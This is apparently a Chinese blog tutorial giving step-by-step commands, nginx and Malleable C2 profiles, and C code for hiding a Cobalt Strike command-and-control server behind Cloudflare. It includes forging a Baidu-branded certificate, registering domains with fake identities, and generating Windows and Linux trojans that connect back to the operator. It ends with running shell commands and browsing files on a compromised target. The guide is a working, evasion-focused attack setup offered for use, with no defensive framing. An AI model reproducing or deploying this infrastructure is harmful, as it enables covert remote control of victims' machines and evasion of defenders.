工具准备
服务器一台
VPN
CS 4.4
nginx
CS服务端配置
服务器禁ping
1、当服务器禁ping后,从某种角度可以判定为主机为不存活状态。
2、编辑文件/etc/sysctl.conf,在里面增加一行。net.ipv4.icmp_echo_ignore_all=1
之后使命命令sysctl -p使配置生效。
vim /etc/sysctl.conf
net.ipv4.icmp_echo_ignore_all=1
sysctl -p
![](https://i-blog.csdnimg.cn/blog_migrate/488ad74e65bf60a26da49667373d0d69.jpeg)
3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。
![](https://i-blog.csdnimg.cn/blog_migrate/4a0207cda941ed77bfe6a263f51bec85.png)
修改端口
1、编辑teamserver文件,搜索50050,将其改为任意端口即可,这里改成65000
vim teamserver
2、保存退出,启动teamserver,发现端口已经变化。
./teamserver xx.xx.xx.xx xiao
![](https://i-blog.csdnimg.cn/blog_migrate/d9475691124e49aaec87b79dbe2994a7.jpeg)
修改默认证书
1、因为cs服务端生成的证书含有cs的相关特征所有,这里进行修改替换。修改方式有两种,分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。
方法一删除密钥库文件cobaltstrike.store(推荐)
1、生成新的密钥库文件
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu -dname "CN=baidu.com, OU=service operation department, O=Beijing Baidu Netcom Science Technology Co.\, Ltd, L=beijing, S=beijing, C=CN"
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
![](https://i-blog.csdnimg.cn/blog_migrate/158ee6059c22f5f8cf5b72a2da8130e9.jpeg)
2、查看证书
keytool -list -keystore cobaltstrike.store
![](https://i-blog.csdnimg.cn/blog_migrate/7e4fd723948f1761d67c2a37c4b38b62.jpeg)
3、启动服务器查看证书签名是否相同,经查看证书签名是相同的。
![](https://i-blog.csdnimg.cn/blog_migrate/4f5c47496c01e4aa306acd8c63338a9f.jpeg)
方法二修改启动文件
1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分,其中就包括密钥库的检测,这部分的写法是,如检测不到密钥库就使用命令生成新的密钥库,修改这里生成命令。
2、将teamserver中圈出来的部分需要修改
![](https://i-blog.csdnimg.cn/blog_migrate/3bee50ff16d393cf63729b64d2e59528.jpeg)
3、将其修改为如下内容:
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu -dname "CN=baidu.com, OU=service operation department, O=Beijing Baidu Netcom Science Technology Co.\, Ltd, L=beijing, S=beijing, C=CN"
![](https://i-blog.csdnimg.cn/blog_migrate/36f9b5c45cbd422bc1a750086d8112dc.jpeg)
4、删除原有的./cobaltstrike.store密钥库文件,下次启动时会自动生成新的密钥库文件
rm -rf cobaltstrike.store
使用CDN隐藏
申请免费域名
1、进入freenom官网,翻译中文,拉到最下面,选择开发人员。
![](https://i-blog.csdnimg.cn/blog_migrate/c4b55a2fbabcfbc6e224a0d23a2ea355.jpeg)
2、拉到最下面,点击今天就获得一个随机的域账号
![](https://i-blog.csdnimg.cn/blog_migrate/05590446623f60fec323fb2184cf9eeb.jpeg)
3、输入国际邮箱,然后点击验证邮箱,推荐使用临时邮箱
![](https://i-blog.csdnimg.cn/blog_migrate/bb700d1946eaef9e6a92718c10e6e72e.jpeg)
4、几秒钟后,就会收到邮件,点击邮件点击确认跳转到freenom网站,翻译当前网页中文后,点击开发商。
![](https://i-blog.csdnimg.cn/blog_migrate/950c2ce389d9012b486cf78c37c52c9d.jpeg)
5、将网站拉到最后下面,翻译中文,点击立即获取一个随机域账号。
![](https://i-blog.csdnimg.cn/blog_migrate/142485a310253f47c2d29dba6aabcada.jpeg)
6、然后来到个人信息填写页面
![](https://i-blog.csdnimg.cn/blog_migrate/86263e6b7f3f8de190de592e479ddf11.png)
7、因为IP选择的地址是弗罗里达州,所以需要借助佛罗里达州个人信息生成器和个人信息生成器,两者需要结合。
![](https://i-blog.csdnimg.cn/blog_migrate/dc62555c2eb03d509d9c9da1db21d708.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/422128c6fa35c12dd6686509f54fd828.jpeg)
8、信息按照生成器填写即可,填写后,勾选并点击完成订单,到此账号已经注册成功。
![](https://i-blog.csdnimg.cn/blog_migrate/fcbd87d7679d6510e3c2420858749fc1.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/a9c1a18fb68bbe2f4be8fa8655a28e18.jpeg)
9、回到网站首页,选取域名,输入xxx.tk,点击check availability,可用的话点击checkout。
![](https://i-blog.csdnimg.cn/blog_migrate/99acee50deea064cde06a97f5c8703c7.jpeg)
10、选择12个月免费版本,最后点击continue。
![](https://i-blog.csdnimg.cn/blog_migrate/3ed23c6e1626c4afd75b57d4a0170388.jpeg)
11、最后完成订单
![](https://i-blog.csdnimg.cn/blog_migrate/8314b4cf9cbf30b29e455207e721c1fa.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/ec2e5dff17b2a0a6089a960d8bf2d71a.jpeg)
12、选择my domains,看到域名是存活的。
![](https://i-blog.csdnimg.cn/blog_migrate/5454e8b5f6a472905c8888301a9a74a8.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/979ddfd157f4066b4a25275b26a2b243.jpeg)
CDN配置
1、cdn部分可以选择其实挺多的,我这里选择的是cloudflare
2、登录cloudflare后,选择添加站点
![](https://i-blog.csdnimg.cn/blog_migrate/955482e078e89c2dfc8c2e4ab7344ea6.jpeg)
3、选择免费计划
![](https://i-blog.csdnimg.cn/blog_migrate/cc5f67eaa84d1dd44639027f3bf409fc.jpeg)
4、添加DNS记录,输入要保护的IP和A记录。
![](https://i-blog.csdnimg.cn/blog_migrate/00e47596655a661f6bc6e88a1dd839fc.jpeg)
5、修改xxx.tk的dns服务器为cloudflare。修改完成后需要一定的时间生效
![](https://i-blog.csdnimg.cn/blog_migrate/cf85fabee7e6e7edafbd4c8562575e00.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/0d55f37599598d94688f5d8a6269341b.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/6b7e3e5f2f96cd8ab35ffe702c41607f.jpeg)
6、关闭自动https重写和始终使用https、broti压缩
![](https://i-blog.csdnimg.cn/blog_migrate/f3497912e96c907bcc395c8e131a6fd6.jpeg)
7、点击finish完成
![](https://i-blog.csdnimg.cn/blog_migrate/08726499b1f54cd47568e22445be61ea.jpeg)
8、出现如下界面就设置生效,可以使用cloudflare进行域名解析操作了
![](https://i-blog.csdnimg.cn/blog_migrate/ce6a1e1a87c8db85806c7dfc29abdc56.jpeg)
9、解析一个www.xxx.tk测试一下
![](https://i-blog.csdnimg.cn/blog_migrate/edf6c7cd2fbaf4fd9409903e5b654cc4.jpeg)
10、使用全球ping,发现已经成功添加CDN
![](https://i-blog.csdnimg.cn/blog_migrate/dfe0f9d993b0efe0cfee6420ffb810fb.jpeg)
11、配置SSL/TLS加密模式为完全
![](https://i-blog.csdnimg.cn/blog_migrate/ff3c31ca8fef6e02fb5dc6ecda082715.jpeg)
cloudflare生成证书
1、在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和server.key。一定要在生成的时候保存,不然可能找不到私钥了。
![](https://i-blog.csdnimg.cn/blog_migrate/6c52445e780e9deed053295cc521010e.jpeg)
2、申请证书并打包密钥库,将证书打包并生成store文件。
openssl pkcs12 -export -in server.pem -inkey server.key -out www.xxx.tk.p12 -name www.xxx.tk -passout pass:123456
//使用keytool生成cs可用的store格式的证书对
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.tk
![](https://i-blog.csdnimg.cn/blog_migrate/920e962784c05e684c5ac56a8913f08a.jpeg)
3、配置证书到https的监听方式中,要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下,想cloudflare.profile加入证书配置:其中需要注意的是https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。
//将上面生成的store证书复制到teamserver目录下
cp ./www.xxx.tk.store /opt/cs44/
//创建cloudflare.profile文件
vim cloudflare.profile
//cloudflare.profile文件内容
https-certificate {
set keystore "www.xxx.tk.store";
set password "123456";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "www.xxx.tk";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "www.xxx.tk";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "www.xxx.tk";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}
4、验证配置文件是否有问题。如下为验证成功的配置(当前目录需要有cobaltstrike.jar)
//新建c2lint文件
vim c2lint
//c2lint文件内容
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -classpath ./cobaltstrike.jar c2profile.Lint $1
//验证配置文件是否有问题
./c2lint cloudflare.profile
![](https://i-blog.csdnimg.cn/blog_migrate/384dff3169d6ecf717ceee30cc8bf1c4.jpeg)
5、配置nginx反向代理,按照下面命令执行即可
//安装nginx并查看版本
apt install nginx
nginx -v
//修改nginx默认的配置文件
cd /etc/nginx/sites-enabled
sudo vim default
//将default文件内容替换如下
server{
listen 443 ssl http2;
server_name www.xxx.tk;
root /var/www/https;
index index.html;
ssl_certificate /opt/zs/server.pem;
ssl_certificate_key /opt/zs/server.key;
}
server{
listen 80;
server_name www.xxx.tk xxx.tk;
return 301 https://www.xxx.tk;
}
//创建https新文件
cd /var/www
mkdir https
cd https
vim index.html(文件内容hello,I am is https!)
//重启nginx配置
sudo nginx -s reload
//重启nginx服务
sudo systemctl restart nginx.service
6、更改teamserver文件,老套路将stroe和密码写进去
vim teamserver
![](https://i-blog.csdnimg.cn/blog_migrate/6918c7c18393c2c9638f8ed28e2465fa.jpeg)
7、使用配置文件启动服务器
./teamserver xx.xx.xx.xx 123456 cloudflare.profile
![](https://i-blog.csdnimg.cn/blog_migrate/2e660f2a486eab0913a741684d3fbb9b.jpeg)
8、访问网站,发现已经有证书了
![](https://i-blog.csdnimg.cn/blog_migrate/e74971d717d96ad61c8b2b16fb098538.jpeg)
生成木马配置
1、作了如上的配置,在生成木马时需要做一些不一样的操作。注意:免费版本的cloudflare支持解析少量的端口,具体端口如下
http: 80、8080、8880、2052、2082、2086、2095
https: 443、2053、2083、2087、2096、8443
2、创建监听器,注意是https
![](https://i-blog.csdnimg.cn/blog_migrate/d39882cdb1622a2f8d5ee53061363814.jpeg)
3、生成exe木马
![](https://i-blog.csdnimg.cn/blog_migrate/9883849708fc06bc2c769e63e5b06056.jpeg)
4、点击运行,成功上线
![](https://i-blog.csdnimg.cn/blog_migrate/9d08ce2be7bd0e8f3a576f34e0e06c24.jpeg)
5、通过抓包发现数据包都被加密
![](https://i-blog.csdnimg.cn/blog_migrate/62b58bbcf59c7711acf164cccf97f56e.jpeg)
6、powershell的上线方式与以前有些许不同。需要启动ssl证书
![](https://i-blog.csdnimg.cn/blog_migrate/a760f416f6d1a79a10a619e5b7859df9.jpeg)
7、在cmd中执行,powershell成功上线
![](https://i-blog.csdnimg.cn/blog_migrate/73e9259ab0aca167eeb9e71846f52196.jpeg)
Linux上线
Cloudflare CDN配置
1、选择缓存,创建规则
![](https://i-blog.csdnimg.cn/blog_migrate/e806173a2cda747d4bf2639677f6bb78.jpeg)
2、输入ip.src == xx.xx.xx.xx,该IP是C2服务器真实IP,再选择绕过缓存,最后保存。
![](https://i-blog.csdnimg.cn/blog_migrate/065fedb0ef352c2626eafbe9fd50415c.jpeg)
nginx配置
1、编辑nginx配置文件,在http中添加以下配置
vim /etc/nginx/nginx.conf
//配置文件内容如下
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
server{
listen 443 ssl;
server_name aaa;
root /var/www/https;
index index.html;
ssl_certificate /opt/zs/server.pem;
ssl_certificate_key /opt/zs/server.key;
ssl_session_timeout 5m;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
location /aaaaaaaaa { # 限定 c2profile 请求地址
proxy_pass https://127.0.0.1:9090/aaaaaaaaa;
expires off;
proxy_redirect off;
proxy_set_header X-Forworded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
location /bbbbbbbbb {
proxy_pass https://127.0.0.1:9090/bbbbbbbbb;
expires off;
proxy_redirect off;
proxy_set_header X-Forworded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
//重启nginx配置
sudo nginx -s reload
//重启nginx服务
sudo systemctl restart nginx.service
c2profile.c配置
// 采用示例模版,修改域名为真实域名
// www.google.com -> www.xxx.tk
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
printf("cc2_get_send\n");
char *requestBody = "GET /%s HTTP/1.1\r\n"
"Host: www.xxx.tk\r\n"
"Accept-Encoding: gzip, br\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"
"Cookie: SESSION=%s\r\n"
"Connection: close\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestBody, "aaaaaaaaa", reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
printf("cc2_post_send\n");
char *requestBody = "POST /%s?SESSION=%s HTTP/1.1\r\n"
"Host: www.xxx.tk\r\n"
"Accept-Encoding: gzip, br\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n\r\n%s";
char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
sprintf(postPayload, requestBody, "bbbbbbbbb", id, strlen(reqData), reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
free(postPayload);
}
char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
if (rawData != NULL) {
char *s = strstr(rawData, start);
char *e = strstr(rawData, end);
if (s && e) {
rawData = s + strlen(start);
*payload_len = strlen(rawData) - strlen(e);
char *payload = (char *)calloc(*payload_len ,sizeof(char));
memcpy(payload, rawData, *payload_len);
return payload;
}
}
*payload_len = 0;
return NULL;
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
printf("cc2_get_recv\n");
char *start = "ffffffff1";
char *end = "eeeeeeee2";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
printf("cc2_post_recv\n");
char *start = "ffffffff1";
char *end = "eeeeeeee2";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
cloudflare.profile配置
https-certificate {
set keystore "www.xxx.tk.store";
set password "123456";
}
http-get {
set uri "/aaaaaaaaa";
set verb "GET";
client {
header "Accept" "accccccc";
header "Host" "www.xxx.tk";
header "Referer" "http://www.xxx.tk/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "SESSION=";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "charset=utf-8";
output {
base64;
prepend "ffffffff1";
append "eeeeeeee2";
print;
}
}
}
http-post {
set uri "/bbbbbbbbb";
set verb "POST";
client {
header "Accept" "accccccc";
header "Host" "www.xxx.tk";
header "Referer" "http://www.xxx.tk/";
header "Accept-Encoding" "gzip, deflate";
id {
base64;
parameter "SESSION";
}
output {
base64;
print;
}
}
server {
header "Server" "nginx";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "charset=utf-8";
output {
mask;
base64url;
prepend "ffffffff1";
append "eeeeeeee2";
print;
}
}
}
启动C2
1、启动C2服务器
./teamserver xx.xx.xx.xx 123456 cloudflare.profile
2、下载CrossC2-GithubBot-2022-06-07.cna,下载CrossC2Kit_Loader.cna,将其保存在Windows CS客户端文件夹中
![](https://i-blog.csdnimg.cn/blog_migrate/7b0ec35b60f674767480828c355d71fd.jpeg)
3、在Windows中启动客户端,依次加载CrossC2-GithubBot-2022-06-07.cna和CrossC2Kit_Loader.cna插件,加载后,右上角会出现CrossC2按钮
![](https://i-blog.csdnimg.cn/blog_migrate/ac8846c0a49b62f175cc715df00b66a5.jpeg)
4、创建监听器,端口为9090
![](https://i-blog.csdnimg.cn/blog_migrate/3d37a05862a67b4d447e5e8495c33a53.jpeg)
5、公网访问以下内容
https://www.xxx.tk/ -> 200
https://www.xxx.tk/aa -> 404
https://www.xxx.tk/aaaaaaaaa -> 200
创建beacon
1、下载最新版genCrossC2.Linux,并将genCrossC2.Linux和c2profile.c放在C2服务器端
![](https://i-blog.csdnimg.cn/blog_migrate/d1bbe2831b5d75e34fd706cb2ab8e01a.jpeg)
2、C2服务器中编译so文件
gcc c2profile.c -o libc2.so -fPIC -shared
![](https://i-blog.csdnimg.cn/blog_migrate/5fcb35f083cdd4deb7a901502154fffe.jpeg)
3、生成Linux木马,执行完成后会在当前生成a.out文件
./genCrossC2.Linux www.xxx.tk 443 .cobaltstrike.beacon_keys libc2.so Linux x64 a.out
![](https://i-blog.csdnimg.cn/blog_migrate/5e12895591904a8f90a5b090f7e16a27.jpeg)
Linux机器上线
1、将生成的a.out上传到目标机器,赋予权限,然后执行。
chmod +x a.out
./a.out
2、Linux机器成功上线
![](https://i-blog.csdnimg.cn/blog_migrate/ece7732a0b4d281fa4bf47c50611b03d.jpeg)
命令交互操作
1、选中机器,鼠标右键会话交互,输入Linux命令即可
shell whoami
shell ifconfig
![](https://i-blog.csdnimg.cn/blog_migrate/6c049bb2e9754447a873fee312fa8adf.jpeg)
文件操作
1、选中机器,鼠标右键Expore -> 文件浏览器,即可查看目标机器文件,还可以上传下载文件
![](https://i-blog.csdnimg.cn/blog_migrate/685dc1ee1d02c6012ca96d94c7a155ef.jpeg)
进程查看
1、选中机器,鼠标右键Expore -> Process List,即可查看目标机器进程
![](https://i-blog.csdnimg.cn/blog_migrate/1375ad31534a2a630b7f4b09a9de1494.jpeg)